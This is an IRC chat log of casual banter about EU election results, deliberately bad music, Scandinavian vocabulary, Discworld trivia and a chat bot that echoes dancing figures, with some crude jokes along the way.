00:08:17 <AnMaster> ehird, what about 16 MB TIFFs then?
00:08:17 <ehird> nooga: so i guess you hafta download one
00:08:32 <ehird> AnMaster: in a zip or tgz, plz.
00:08:42 <AnMaster> and yes my camera produces larger tiffs than raw images
00:08:58 <AnMaster> considering how long I will be away
00:09:05 <ehird> AnMaster: just convert them
00:09:16 <ehird> AnMaster: when you get back, I mean
00:10:34 <ehird> do raw, pop in the biggest memory card, ...
00:10:34 <AnMaster> ehird, I have one 512 and one 256 MB card.
00:10:34 <ehird> nooga: there's probably a dictionary on apple.com
00:10:34 <ehird> AnMaster: wtf that's tiny
00:10:34 <AnMaster> ehird, it was huge when I got the camera
00:10:34 <ehird> AnMaster: well that's 36.5 pictures
00:10:34 <ehird> i don't think I could handle any more :)
00:10:34 <AnMaster> ehird, I'm going for high quality jpg
00:10:34 <ehird> now i don't have to look at them :)
00:10:34 <AnMaster> might buy another CF card when I'm up there
00:11:27 <ehird> TURN INTO A BADGER!
00:11:42 <ehird> http://en.wikipedia.org/wiki/Badger
00:12:25 <AnMaster> ehird, Sorry, I didn't go to Hogwarts.
00:12:32 <ehird> nooga: you gotsa download one, wiz your mind!
00:12:42 <nooga> btw. it's weird thing
00:13:09 <AnMaster> The Pirate Party got one place in EU
00:13:11 <nooga> because i seem not to notice in what language is the text i'm reading
00:13:20 <ehird> AnMaster: We celebrated a bit a few hours ago.
00:13:31 <nooga> if it's either polish or english
00:13:36 <AnMaster> ehird, I was watching the "valvaka" on TV then
00:13:36 <nooga> is it good or bad?
00:13:43 <ehird> nooga: means you're fluent
00:13:54 <AnMaster> ehird, and even more yay: Miljöpartiet got one more place!
00:13:55 <ehird> AnMaster: valvaka?
00:14:04 <AnMaster> ehird, um... Don't know English word
00:14:06 <nooga> ehird: at least before first unusual word
00:14:10 <ehird> Miljöpartiet? /me looks up. oh, another generic green party
00:14:21 <ehird> "However, the party remains predominantly EU-critical."
00:14:26 <ehird> not gonna be very useful in EU parliament then.
00:17:09 <coppro> wait, the Pirate Party got a seat?
00:17:10 <AnMaster> as in, been around for quite some time
00:17:10 <ehird> AnMaster: 1981 isn't a long time
00:17:10 <ehird> oerjan: less literal translation kthx
00:17:10 <AnMaster> oerjan, you know what I mean right?
00:17:10 <oerjan> ehird: hm i suppose wake has only the funeral meaning in english
00:17:10 <ehird> wake means awake :P
00:17:10 <ehird> AnMaster: anyway since when is 1981 a long time ago
00:17:10 <ehird> the conservative party in the uk has been around since 1832 ("modern", apparently; "historical" is 1678)
00:17:10 <GregorR> Five years before my birth :P
00:17:10 <ehird> ah historical=tories
00:17:10 <oerjan> myndzi is so useful for parties \o/
00:17:10 <AnMaster> ehird, So... It is older than Mosaic. And you said that Mosaic was "ancient" before.
00:17:10 <ehird> myndzi: oh, that's a script?
00:17:27 <ehird> AnMaster: Einstein wants a word with you.
00:17:32 <oerjan> ehird: not in a party mood? \o| \o/ |o/
00:17:52 <ehird> AnMaster: Yeah; about this thing called "relativity".
00:17:57 <ehird> AnMaster: What I said was also a joke.
00:18:11 <AnMaster> ehird, "Yeah, you claim that now"
00:18:18 <ehird> myndzi: party \o| \o/ |o/
00:18:28 <ehird> AnMaster: dude, of course it was a joke...
00:18:31 <oerjan> GregorR: it assumes it's offset by nick length
00:18:32 -!- FireFly has quit ("Later").
00:18:37 <GregorR> Why do some of myndzi's dancers have exposed penises?
00:19:13 <ehird> Right, there's one solution to this.
00:19:13 <oerjan> so if you line up the end of nicks it won't show up right
00:19:13 <ehird> myndzi: party \o| \o/ |o/
00:19:13 <ehird> myndzi: party \o| \o/ |o/
00:19:13 <ehird> myndzi: party \o| \o/ |o/
00:19:13 <ehird> myndzi: party \o| \o/ |o/
00:19:13 <ehird> myndzi: party \o| \o/ |o/
00:19:13 <ehird> myndzi: party \o| \o/ |o/
00:19:13 <ehird> myndzi: party \o| \o/ |o/
00:19:13 <ehird> myndzi: party \o| \o/ |o/
00:19:13 <ehird> AnMaster: you mean #esoteric-blah.
00:19:13 <ehird> I'm trying to flood myndzi off :)
00:19:13 <GregorR> myndzi has flood protection.
00:19:13 <oerjan> lament: kick ehird please
00:19:17 <GregorR> So anyway, why do some of myndzi's dancers have exposed penises?
00:19:21 <ehird> oerjan: kick lament please
00:19:26 <ehird> AnMaster: myndzi is a person with a script.
00:19:33 <ehird> unfortunately this script has rate limiting
00:22:19 <oerjan> ehird is a person without humor
00:22:19 <pikhq> GregorR: EL GAMAL!
00:22:19 <ehird> oerjan: telling you to kick lament isn't humour? :-P
00:22:19 * GregorR now listens to The Most Unwanted Music.
00:22:19 <AnMaster> (and I seriously have no idea about what you are talking about)
00:22:19 <ehird> GregorR: I love that thing so muhc
00:22:19 <AnMaster> GregorR, one of the "masterpieces"?
00:22:19 <ehird> two guys did this study
00:22:19 <ehird> asked people what they liked/disliked in a song
00:22:19 <ehird> they made the thesis and antithesis of it
00:22:19 <ehird> the antithesis is a brilliant 10 minute work with children singing about corporatism
00:22:19 <GregorR> The Most Wanted Music is terrible drudgery, as expected.
00:22:19 <ehird> and various holidays
00:22:19 <ehird> with the tuba and shit
00:22:19 <ehird> the most wanted music is a shitty smooth r&b track with yeayeayeayeahs
00:22:24 <ehird> and oooh baby i looooooooove you's.
00:22:25 <GregorR> And a soprano rapping about riding her horse and stuff.
00:23:05 <ehird> AnMaster: absolutely!
00:23:12 <GregorR> It's sociology, not hard science :P
00:23:14 <ehird> the most wanted: http://www.wired.com/images_blogs/listening_post/files/KomarMelamid_The-Most-Wanted-Song.mp3
00:23:18 * ehird tries to find the most unwanted
00:23:24 <GregorR> I've got an MP3 if somebody wants.
00:23:35 <ehird> http://ubu.artmob.ca/sound/komar_melamid/KomarMelamid_The-Most-UnwantedSong.mp3
00:23:41 <ehird> it's actually 25 minutes long
00:24:18 <GregorR> (Long music was amongst the disliked properties)
00:24:18 <ehird> http://www.boingboing.net/2008/04/17/25-minute-compositio.html
00:24:18 <ehird> ↑ lists all the properties
00:24:22 <nooga> komar means a mosquito in Polish
00:24:30 <GregorR> And judging by the title, thinks that 25 minuets is an accomplishment in and of itself ...
00:24:38 <nooga> Komar (Komarek) is also old Polish motorbike
00:24:39 <AnMaster> GregorR, hm... well I can see that. It is better to be able to take a short pause between the movements for shifting the position of the headphones and such
00:24:44 <ehird> i eat 60 minute tracks for breakfast.
00:24:49 <ehird> AnMaster: ...that's totally irrelevant :D
00:24:58 <ehird> long songs are dreary and boring most of the time
00:25:05 <ehird> since they just repeat forever.
00:25:10 <GregorR> ehird: Do all your shopping at Wal-Mart!
00:25:27 <AnMaster> ehird, the unwanted one isn't too bad so far
00:25:40 <oerjan> ehird: does england have wal-marts?
00:25:45 <ehird> AnMaster: wait until you get to the soprano rap!
00:25:52 <GregorR> It's not poorly written by any stretch of the imagination.
00:25:53 <AnMaster> ehird, I don't have 25 minutes btw
00:25:55 <ehird> oerjan: we have Asdas, which are owned by wal-mart.
00:27:13 <ehird> AnMaster: skip around the track
00:27:14 <AnMaster> GregorR, oh, nothing like Schönberg then?
00:27:14 <ehird> your tastes in music are really weird, beats are wonderful :P
00:27:14 <ehird> anyway, shut up; it's wonderful
00:27:14 <GregorR> Hahaha, totally forgot about the soprano rapping about philosophy X-D
00:27:21 <AnMaster> GregorR, I didn't manage to catch the words
00:27:33 <nooga> ehird: long songs are dreary and boring most of the time << except Pink Floyd
00:27:36 <ehird> AnMaster: amusical.
00:27:47 <ehird> nooga: OVERHEAD THE ALBATROSS HANGS MOTIONLESS UPON THE AIR
00:27:49 <GregorR> AnMaster: I can barely understand them (and can't at some times), but I don't have a language barrier :P
00:28:02 <AnMaster> ehird, certainly. But "modern classical" too.
00:28:10 <ehird> AnMaster: a = not.
00:28:14 <nooga> ehird: indeed, and guess what i'm going to drop on my itunes
00:28:14 <AnMaster> GregorR, even harder with the language barrier.
00:28:27 <ehird> nooga: Meddle's a crap album unfortunately :P
00:28:38 <ehird> CHRISTMAS TIME CHRISTMAS TIME
00:29:10 <AnMaster> GregorR, and I'm NOT able to understand when sung in opera style. Even in Swedish.
00:30:05 <AnMaster> <ehird> CHRISTMAS TIME CHRISTMAS TIME <-- a bit before that, wasn't that bagpipe?
00:30:05 <GregorR> Funny, I can't understand opera in Swedish either.
00:30:05 <nooga> i can understand beatbox
00:30:29 <GregorR> Ramadan! Ramadan! Lots of praying WITH NO BREAKFAST!
00:31:10 <AnMaster> must have been fun for perform it
00:31:17 <ehird> horrible, rather; could you keep yourself from laughing?
00:31:18 <AnMaster> ehird, I always loved bagpipes
00:31:26 <ehird> bagpipes sound like tortured kittens
00:31:47 <ehird> AnMaster: you're not meant to think it's nice music, you're meant to enjoy it because it's bad music.
00:32:00 <AnMaster> ehird, some of it is is actually rather good
00:32:26 <ehird> but my tastes are, ehm, eclectic
00:34:21 <ehird> HE HE HE HE HE HE HAH HAH
00:34:21 <ehird> yahoo yahoo yahoo haaaaaaaa
00:34:21 <pikhq> ehird: You're talking to a man that thinks Revolution 9 is a wonderful composition.
00:34:21 <AnMaster> I fail to understand what they sing about next.
00:34:21 <ehird> AnMaster: a holiday, if it's the kids
00:34:21 <GregorR> What's the style of music at 13m?
00:35:06 <ehird> i love when the kids start shouting through the megaphone about politics
00:38:07 <AnMaster> ehird, when is the politics bit?
00:38:07 <ehird> AnMaster: late on.
00:38:07 <AnMaster> 10:58... that is good actually
00:38:07 <AnMaster> like someone singing opera in a sewer system?
00:38:07 <ehird> yaraorohaaaaaaaaaaaaaaaaaaaaaaaaaarrrrrrrr
00:38:07 <AnMaster> <ehird> yaraorohaaaaaaaaaaaaaaaaaaaaaaaaaarrrrrrrr <--?
00:38:07 <ehird> AnMaster: i'm typing out the song as it goes
00:38:07 <ehird> hi hi hi hi hI HI aeoaehaorrrr
00:38:07 <AnMaster> 13:05... what the heck is the genre?
00:38:42 <GregorR> AnMaster: My question exactly :P
00:38:53 <GregorR> I want to know what that genre is, because I want unrelated MP3s of it :P
00:38:53 <AnMaster> GregorR, it was quite nice though
00:38:59 <ehird> GregorR: which one is it
00:39:02 <ehird> i have no time meter
00:39:13 <ehird> what does it sound like
00:39:17 <ehird> is it the sparse one
00:39:18 <AnMaster> GregorR, and I don't like the big clashes in it...
00:39:19 <ehird> with the yahoooooo
00:39:23 <ehird> and loads of little sounds
00:39:24 <GregorR> It's the solo accordion, French genre I think.
00:39:31 <GregorR> AnMaster: Well, that's not part of the genre :P
00:39:46 <AnMaster> GregorR, I was thinking waltz or something like that first, but it didn't fit
00:39:49 <ehird> i'm on to the accordion now
00:39:50 <ehird> 00:39 AnMaster: ehird, no song? ← wut
00:40:10 <ehird> those crashes are amazing
00:40:13 <ehird> that was beautiful
00:40:21 <ehird> AnMaster: i like this kind of stuff okay?
00:40:58 <AnMaster> you can play different genres on an accordion you know.
00:41:23 <ehird> he said bagpipes > *
00:41:36 <ehird> wump, wump wump wump.
00:41:51 <AnMaster> GregorR, hm violins/violas > bagpipes > cellos > piano > *
00:44:24 <ehird> AnMaster: dropping things down stairs > *
00:44:24 <GregorR> "bagpipes > *" was an exaggeration :P
00:44:24 <ehird> AnMaster: have you ever listened to Metal Machine Music?
00:44:24 <ehird> you should; you'll die of shock
00:44:24 <GregorR> But it is pretty much whoot.
00:44:24 <AnMaster> ehird, not sure. Probably not.
00:44:24 <AnMaster> ehird, also I'm more resistent than you think. I can survive a lot.
00:44:24 <AnMaster> and decide to never listen to it (willingly) again.
00:44:24 <ehird> AnMaster: metal machine music is ~65 minutes of roughly the same all the way through electric guitar feedback + white noise.
00:44:24 <ehird> Brought to you by Lou Reed!
00:44:24 <ehird> Velvet Underground lead
00:44:24 <ehird> AnMaster: Andy Warhol's pet band.
00:44:24 <ehird> Well, okay, they existed before Warhol.
00:44:24 <ehird> PLEASE DON'T GOOGLE WARHOL
00:44:24 <AnMaster> ehird, what is the stuff they are saying in megaphone around 19:11.0
00:44:26 * oerjan suddenly wonders if they play "guantanamera" at guantanamo
00:44:34 <ehird> AnMaster: sth about revolution and politics.
00:45:56 <AnMaster> ehird, I like the music genre at that point
00:45:56 <ehird> i should buy a bunch of brain eno albums at one point, I keep meaning to
00:45:56 <AnMaster> ehird, you know what ring tune I have on my mobile phone?
00:45:57 <AnMaster> ehird, what are they singing around 20:38
00:46:06 <AnMaster> "and when we all" or something like that
00:47:25 <ehird> "Ok, that song is indeed unfortunate, but it is hardly the most unwanted song. The most unwanted song is the Porcupine Overture by H. Miller. here's an MP3 of it but I WARN YOU, this is so bad as to cause pain. It is unbelievably atonal and disjointed and jarring and damn antagonistc. I used this as my alarm clock for a month because I'm that deep of a sleeper and I'm permanently scarred from the ordeal. It is the most soul-crushing, mind-debilitating, f
00:47:25 <ehird> ace-rearrangingly bad piece of music ever composed. Here is a page all about the porcupine scale system. Mind-boggling. Fiercely atonal."
00:47:25 <ehird> http://nickd.org/log/PORCUPINEOVERTURE.mp3
00:49:46 <ehird> AnMaster: have you ever heard of the Shaggs?
00:49:54 <ehird> http://www.shaggs.com/sound/TheShaggs_MyPalFootFoot.mp3
00:50:01 <jix> ehird: you were right
00:50:01 <AnMaster> ehird, I'm listening to http://nickd.org/log/PORCUPINEOVERTURE.mp3
00:50:05 <jix> usin parsec is a good idea
00:50:13 <AnMaster> oh yes. Final boss fight of Zelda OOT
00:50:18 <ehird> further reading: http://en.wikipedia.org/wiki/The_Shaggs
00:50:23 <AnMaster> when you enter, the boss is playing bad music
00:50:29 <jix> nevertheless i think my monad related thing has use cases
00:50:39 <ehird> AnMaster: i suck at that game due to the time constraints
00:50:42 <jix> but including it would require to restructure the standard lib :/
00:51:01 <jix> i think...
00:51:12 <ehird> well i suck at that one too; it happens that I just suck.
00:51:13 <AnMaster> ehird, but OOT I manage just fine.
00:51:16 <ehird> jix: you could include it fine
00:51:20 <ehird> it just wouldn't integrat
00:51:22 <AnMaster> <ehird> well i suck at that one too; it happens that I just suck. <-- yes :P
00:51:27 <jix> ehird: yeah exactly that
00:51:38 <AnMaster> "<ehird> [...]; it happens that I just suck."
00:51:55 <ehird> AnMaster: listened to that shaggs song yet?
00:52:00 <ehird> note: it has time signatures. plural.
00:52:05 <AnMaster> ehird, I'm still listening to <ehird> http://nickd.org/log/PORCUPINEOVERTURE.mp3
00:52:10 <ehird> (although they're not intentional)
00:52:27 <AnMaster> ehird, hm... that "death waltz"?
00:52:35 <AnMaster> I know somehing you would like
00:52:46 <AnMaster> it is played entirely on old metal garbage
00:53:00 <AnMaster> ehird, lyrics in Swedish though.
00:53:57 <oerjan> "<Anmaster> [...]I just suck.[...]"
00:54:00 <AnMaster> <ehird> http://www.shaggs.com/sound/TheShaggs_MyPalFootFoot.mp3 <-- could be worse. I still argue that Schönberg is worse
00:54:12 <ehird> AnMaster: read the wikipedia article; the story's rather odd.
00:54:22 <ehird> their father was obsessed with them becoming pop stars :p
00:54:33 <AnMaster> ehird, http://www.youtube.com/watch?v=UFZkxyp_i-M
00:54:33 <ehird> 00:50 ehird: further reading: http://en.wikipedia.org/wiki/The_Shaggs
00:54:43 <ehird> AnMaster: anyway, they genuinely thought it was conventional, nice pop music
00:54:54 <AnMaster> ehird, tell me what you think about http://www.youtube.com/watch?v=UFZkxyp_i-M
00:55:13 <ehird> AnMaster: that's great. what are the lyrics?
00:55:34 <ehird> meh I can translate
00:55:54 <ehird> AnMaster: this is genuinely great
00:55:58 <ehird> ok the lyrics are about coffee.
00:56:06 <AnMaster> ehird, "Gösta enters" "He greets", "Have you coffee?" "No, we haven't any coffee" "Then I'm leaving"
00:57:01 <GregorR> Variations such as: "Gösta enters" "He greets", "Have you coffee?" "No, we haven't any coffee" "Then I'm GOING TO KILL YOU"
00:57:16 <AnMaster> ehird, someone in the 70s, the "progg" time
00:57:20 <GregorR> Variations such as: "Gösta enters" "He greets", "Have you BAKED HUMAN LIVER?" "No, we haven't any coffee" "Then I'm GOING TO KILL YOU"
00:57:23 <AnMaster> http://en.wikipedia.org/wiki/Progg
00:57:46 <AnMaster> ehird, a musical movement in Sweden during the 70s, lots of experimental and left wing political music.
00:58:01 <ehird> that was one of the best songs I've heard in a while; thanks.
00:58:48 <AnMaster> ehird, anyway there are variations in the repetations. Like "No we haven't" and "No, we have not", "No we haven't any coffee" and such
00:59:37 <ehird> http://www.boingboing.net/2008/04/17/25-minute-compositio.html#comment-167682 ← humanity :'(
01:00:27 <ehird> http://www.treehugger.com/galleries/2009/05/what-does-inside-factory-farm-look-like.php ← yummy prebacon!
01:02:14 <AnMaster> ehird, poor animals, confined like that, unable to move. Such tight confinement is illegal in Sweden I know.
01:02:27 <ehird> AnMaster: they're very happy because they will become bacon soon.
01:03:23 <AnMaster> that site is about animal welfare.
01:04:03 <AnMaster> ehird, I don't think this is anything to joke about.
01:04:41 <ehird> AnMaster: if you're gonna say that, what next? We won't be able to joke about the holocaust any more! SLIPPERY SLOPE SLIPPERY SLOPE.
01:05:37 <ehird> Do you know who else didn't joke about the holocaust?
01:17:40 <oerjan> the three first were all identical no/sv
01:20:28 * oerjan notest that no:vindfang ~= sv:farstu but no links either way, or to any other language
01:31:37 -!- fizzie has quit (Read error: 60 (Operation timed out)).
01:31:37 <oerjan> i cannot seem to find an english equivalent to those :/
01:31:37 <oerjan> maybe it's a scandinavian-only thing
01:31:37 <oerjan> cold, windy climates :)
01:31:37 <GregorR> Unlike Minnesota, Maine or, oh, Idonno, Alaska.
01:31:37 -!- fizzie has joined.
01:31:37 <oerjan> well true. and those have many descendants of scandinavians too
01:32:10 <oerjan> so do you know what english calls a small room outside the main house, for keeping the weather out when entering?
01:33:27 * oerjan should check no/sv wiktionaries as well
01:33:49 <AnMaster> oerjan, there are interwiki links...
01:34:12 <oerjan> AnMaster: those in wikipedia _i_ just put there
01:36:22 <AnMaster> Conservatory, a smaller glass enclosure attached to a house, also called a Sunroom.
01:36:22 <AnMaster> Conservatory (greenhouse), a large greenhouse where plants are cultivated
01:36:22 <ehird> A sunroom is a structure which is constructed onto the side of a house, usually, to allow enjoyment of the surrounding landscape while being sheltered from adverse weather conditions such as rain and wind. The concept is a popular one in the United States, Europe, Canada, Australia and New Zealand. In the United Kingdom, it is normally described as a conservatory, although the room may not contain plants.
01:36:22 -!- jix has quit ("reboot").
01:36:22 <ehird> 01:32 oerjan: so do you know what english calls a small room outside the main house, for keeping the weather out when entering?
01:36:22 <ehird> 01:35 ehird: A sunroom is a structure which is constructed onto the side of a house, usually, to allow enjoyment of the surrounding landscape while being sheltered from adverse weather conditions such as rain and wind. The concept is a popular one in the United States, Europe, Canada, Australia and New Zealand. In the United Kingdom, it is normally described as a conservatory, although the room may not contain plants.
01:36:22 <oerjan> ehird: a vindfang/farstu is the main entrance to the house
01:36:22 <AnMaster> ehird, "to allow enjoyment of the surrounding landscape while being sheltered from adverse weather conditions"
01:36:28 <AnMaster> ehird, no way, a farstu often doesn't give you a good view
01:36:31 <ehird> when entering the house
01:36:42 <ehird> or we just don't have such athing
01:37:00 <oerjan> hm sv.wiktionary suggests fr:vestibule
01:37:02 <AnMaster> a farstu is usually rather closed.
01:37:26 <AnMaster> ehird, he *said* "<ehird> when entering the house"
01:37:29 <ehird> he said when entering
01:37:36 <ehird> that could be interpreted as when entering the room
01:37:59 <AnMaster> ehird, see pics on http://sv.wikipedia.org/wiki/Förstukvist
01:38:12 <AnMaster> the extended part on the front of the upper pic
01:39:52 <Asztal> http://www.trustyle-uk.co.uk/images/porch1.jpg
01:40:16 <AnMaster> Asztal, all that glass, doesn't really protect well against the weather and wind does it? Would get cold in it rather fast
01:40:16 <oerjan> heh islandic vínföng is something completely different
01:40:27 <AnMaster> oerjan, so I think "vindfång" in Swedish would be
01:40:46 <oerjan> just means wine, apparently
01:41:10 <oerjan> it's what en.wiktionary suggested when i searched for vindfang
01:41:49 <oerjan> well that porch doesn't look that different
01:41:57 <AnMaster> oerjan, "Fjern"? as in "Fjern denne endringen"?
01:42:41 <oerjan> well yeah it's a verb formed from the adjective
01:43:16 <oerjan> as an adjective, it means far off, yes
01:43:51 <oerjan> er, *icelandic up there
01:44:20 <GregorR> Now, to use "icelandic up there" in a sentence.
01:44:31 <ehird> Yo! You feeling icelandic up there?
01:44:33 <GregorR> "Have you ever been to Iceland?" "No way, it's awfully Icelandic up there."
01:46:18 <AnMaster> what would be more interesting is someone in the position to say "Islandic *down* there"
01:46:18 <oerjan> huh en.wp:porch links to no:terrasse, not vindfang
01:46:18 <GregorR> Oh an Icelanding I go, an Icelanding I go, high ho the derrio an Icelanding I go.
01:46:35 <AnMaster> oerjan, and terrase is the word I would use for most there
01:46:42 <AnMaster> http://www.trustyle-uk.co.uk/images/porch1.jpg is definitely farstu
01:46:56 <GregorR> Terrace is an English word, bwt.
01:47:13 <AnMaster> oerjan, therory: words doesn't have one-to-one mappings here
01:47:22 <AnMaster> thus interwiki system breaks down
01:48:45 <oerjan> perhaps there should be backlinks from no/sv to porch, even if the other way is wrong
01:49:35 <oerjan> i hope the robots that add such things won't try and simplify it
01:50:55 <AnMaster> I ran such a bot on another wiki
01:50:55 <Sgeo> sex isn't wizard though
01:50:55 <AnMaster> oerjan, point is. It just doesn't work
01:50:55 * oerjan wonders what channel that was supposed to have gone to :D
01:51:14 * Asztal puts on his robe and wizard hat
01:52:01 <Sgeo> I said it in M*U*S*H after someone mentioned the sex attribute. I was noting that some attributes were set WIZARD, but SEX wasn't one of them
01:52:14 <Sgeo> Then I said that I thought it would be funny to say that elsewhere out of context
01:52:56 <ehird> Sgeo: Uh, wizard isn't sex though.
01:54:56 * pikhq puts on his robe and wizard hat
01:55:09 <oerjan> wizards should not have sex. we don't want any sourcerors around.
01:55:48 * pikhq takes a level in sorceror
01:56:24 <AnMaster> pikhq, you can't even spell it
01:56:35 <AnMaster> pikhq, read more discworld. Now
01:56:41 <Sgeo> I'm always bad at responding to references
01:56:48 <Sgeo> And dangit, AnMaster, I knew that
01:56:49 <oerjan> AnMaster: you know if you hadn't recognized it you would have corrected my spelling...
01:56:57 <pikhq> I will once I get back to college.
01:57:07 <pikhq> So I can borrow copies.
01:57:23 <AnMaster> oerjan, hm maybe. But I know Discworld well enough to be able to get 97% of the references to it or so
01:57:38 <AnMaster> oerjan, tell me what book mentions a stunned seagull.
01:57:59 * oerjan doesn't since he hasn't read most of the books
01:58:08 <Sgeo> Which book mentions a porcelean(sp?) atheist?
01:59:14 <AnMaster> but it would be Feet of Clay of course
01:59:34 <Sgeo> Yes, Feet of Clay. My memory might be off, yeah
01:59:54 <AnMaster> Sgeo, what about the stunned seagull then?
02:00:03 <Sgeo> AnMaster, no idea
02:00:44 <Sgeo> ...I read that one a while ago
02:02:36 <ehird> AnMaster: please stop pressuring people into memorizing every detail of discworld books
02:02:36 <AnMaster> that is my all time favourite.
02:02:36 <Sgeo> I actually have that right next to me right now
02:02:36 <Sgeo> AnMaster, same here
02:02:36 <AnMaster> ehird, hey! Do you have a copy of "The Discworld Quiz book"?
02:02:48 <AnMaster> "The Unseen University Challenge - Discworld Quizbook"
02:03:46 <oerjan> wait i've read pyramids...
02:03:56 * oerjan has forgotten the stunned seagull
02:05:54 <AnMaster> I think Xeno said something like "if this turtle is the arrow, and this..." he flailed around with his arm "stunned seagull ..."
02:06:32 * oerjan slightly remembers the philosophers
02:08:35 <Sgeo> I've been drifting between here, M*U*S*H, and watching Avatar
02:08:49 <AnMaster> "<i>[...] And he's not just an atheist, he's a </i> ceramic <i> atheist. Fireproof!</i>"
02:09:09 <AnMaster> <i> indicates formatting of course
02:09:10 <Sgeo> AnMaster, ah, ty
02:09:20 <GregorR> Apparently Tia hates babies.
02:10:44 <pikhq> <span style="text: italic">foo bar baz <span style="text: regular">qux</span> quux</span>
02:10:45 <GregorR> Tia is actually short for Tiamat :P
02:10:46 <AnMaster> how does one write a degree sign with alt-gr?
02:10:56 <pikhq> Beats me; I've got compose.
02:11:03 <oerjan> "Tiamat is considered the monstrous embodiment of primordial chaos."
02:11:09 <oerjan> i assume that is accurate.
02:12:33 <GregorR> --> \o/o\o/o\o/o\o/o\o/o\o/o\o/o\
02:12:33 <AnMaster> oerjan, you could possibly manage
02:12:52 <pikhq> GregorR: THEY'RE HOLDING HEADS!!!
02:13:05 <oerjan> well it's approximately on these latitudes...
02:14:10 <Sgeo> No one wants to go into M*U*S*H with me?
02:14:33 <AnMaster> oerjan, what part of Norway are you in
02:14:37 <pikhq> --> -o-o-o-o-o-o-o-o-
02:14:45 <AnMaster> also I will only be there in the very early morning
02:14:53 -!- nooga has quit (Remote closed the connection).
02:15:58 <oerjan> ah that's 66, so even further north
02:15:59 <oerjan> but 19 E is not norway
02:16:04 <oerjan> probably in sweden then
02:16:27 <oerjan> also, i'm in trondheim
02:17:47 <oerjan> dammit no coordinates on google maps
02:18:00 <AnMaster> oerjan, this is closer to Narvik than Trondheim
02:18:25 <oerjan> somewhere in Norrland i assume
02:18:44 <AnMaster> two hours travel by car from Kiruna
02:19:13 <AnMaster> oerjan, if you haven't heard, I'm going to Norrland tomorrow. Will be back on Saturday
02:20:47 * oerjan cannot get any closer without coordinates marked
02:22:15 <MizardX> oerjan: You have the coordinates if you click/hover over the "Link" link in Google Maps.
02:22:47 * Sgeo wants people to go into M*U*S*H
02:27:36 * oerjan is now centered on something that seems like a village, with no name
02:28:00 <Sgeo> mush.pennmish.org 4201
02:28:04 <Sgeo> There are others?
02:28:22 <AnMaster> oerjan, http://sv.wikipedia.org/wiki/Nikkaloukta
02:28:47 <oerjan> AnMaster: i just found the name
02:28:54 -!- Corun has quit ("Leaving...").
02:28:57 <AnMaster> err http://sv.wikipedia.org/wiki/Nikkaluokta
02:29:19 <Sgeo> mush.pennmush.org 4201
02:29:22 <Sgeo> mush, not mish
02:29:34 <oerjan> when i zoomed enough there was a "Nikkaluokta fjällanläggning"
02:29:44 <GregorR> That is THE MUSH. But it's F/OSS, there are (used to be?) many.
02:30:02 <Sgeo> Just go in >.>
02:31:35 <AnMaster> oerjan, yeah. Going to show you the photos when I get back I guess..
02:31:35 <oerjan> AnMaster: have a nice trip
02:31:35 <GregorR> Sgeo: I only have telnet :P
02:31:35 <Sgeo> GregorR, you can still go in. Try to get a better client though :P
02:31:35 <GregorR> It's been a looooong time since I've muckmushmood.
02:31:35 <Sgeo> I've heard great things about TinyFugue(sp?) but that's for L.. right, you're a Linux fan
02:33:12 <Sgeo> GregorR, are you in?
02:33:20 <GregorR> My normal username is taken :(
02:36:27 <GregorR> There's a username I always use on such things, and it's taken.
02:36:27 <Sgeo> I just publically exclaimed something about GregorR being stolen :/
02:36:27 <GregorR> Now publicly exclaim something about you being an idiot.
02:36:27 <GregorR> I'm going through the newbie stuff, as I don't remember any of this :P
02:37:25 <GregorR> Sgeo: Yes, I am, although I don't remember how to chat on channels :P
02:37:25 <Sgeo> GregorR, say +newbie Whatever
02:37:34 <Sgeo> There's a more standard way, but I forgot it
02:37:59 <Sgeo> @chat newbie=stuff
02:56:30 -!- bsmntbombdood_ has joined.
03:03:24 -!- bsmntbombdood has quit (Read error: 113 (No route to host)).
03:07:24 <pikhq> I think I just died inside.
03:07:34 <pikhq> Nazis got elected to EU Parliament.
03:10:50 <pikhq> British Nationalist Party.
03:12:32 <pikhq> BNP didn't get into Parliament.
03:12:32 <pikhq> *BUT IT WAS CLOSE*.
03:15:48 * oerjan is just looking at news.bbc, and the chart there says BNP 2 +- 2
03:16:58 <oerjan> libertarian, says wikipedia...
03:17:45 <pikhq> Okay, I was wrong about my correction.
03:18:22 * oerjan thought pikhq was american
03:18:58 <pikhq> oerjan: Yes, but I'm still upset.
03:21:05 <Sgeo> GregorR, you still awake?
03:21:22 <oerjan> no, he fell a sleep in the last 3 minutes
03:22:00 <Asztal> is felling a sleep like felling a tree?
03:22:17 <oerjan> or possibly before, that UKIP comment sounds a bit like sleepwalking behavior
03:22:33 <oerjan> well both are done in one fell swoop
03:24:56 <pikhq> A party that wants to seperate from the EU.
03:25:04 <pikhq> In the EU Parliament.
03:25:27 <oerjan> i vaguely recall the danish have had one for a long time...
03:28:42 * oerjan cannot find any evidence, maybe it was a one time thing
03:29:29 * pikhq observes that humanity is dumb.
03:29:39 <pikhq> Where's the reset button?
03:29:46 <Asztal> UKIP won't do as well in a general election, apparently.
03:29:49 * Sgeo pauses his work on the maze observation room to watch Avatar
03:29:53 <oerjan> http://en.wikipedia.org/wiki/Independence/Democracy
03:30:12 <pikhq> Asztal: They have 13 seats in EU Parliament.
03:41:54 <GregorR> http://en.wikipedia.org/wiki/Independence/Democracy // is it just me, or is the very existence of this group ironic? :P
03:42:12 <GregorR> (Not of each included party, but the complete group)
03:44:09 <pikhq> Also... Hasn't the EU been rather, y'know, *good* for Europe?
03:45:00 <pikhq> Little things like "not needing to go through border control to go down the street", and "not needing to get my currency changed out when going a few towns over"?
03:47:03 <GregorR> The EU is just an extremely antifederalist version of the US :P
03:47:15 <pikhq> So, the confederacy.
03:48:44 <pikhq> Though I meant "USA under Articles of Confederation".
03:49:15 <GregorR> But the Confederacy was much the same way.
03:49:30 <pikhq> Thus why they were confederacies. :p
03:50:12 <GregorR> I wish somebody wanted to make Masterpieces :P
04:06:38 -!- oerjan has quit ("Good night").
04:21:15 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
04:23:20 * Sgeo tries to go back to work on the observation room
04:27:35 * myndzi forces GregorR to respond.
04:31:16 * GregorR exclaims to myndzi, "Gregor is my hero!"
04:31:17 * myndzi exclaims to GregorR, "Gregor is my hero!"
04:43:21 * Sgeo forces myndzi to enter M*U*S*H
04:43:21 * myndzi forces Sgeo to enter M*U*S*H
04:43:43 <Sgeo> So it's just a bot
04:43:59 * Sgeo worships myndzi
04:45:26 * Sgeo strangles myndzi. However, strangling Sgeo fails.
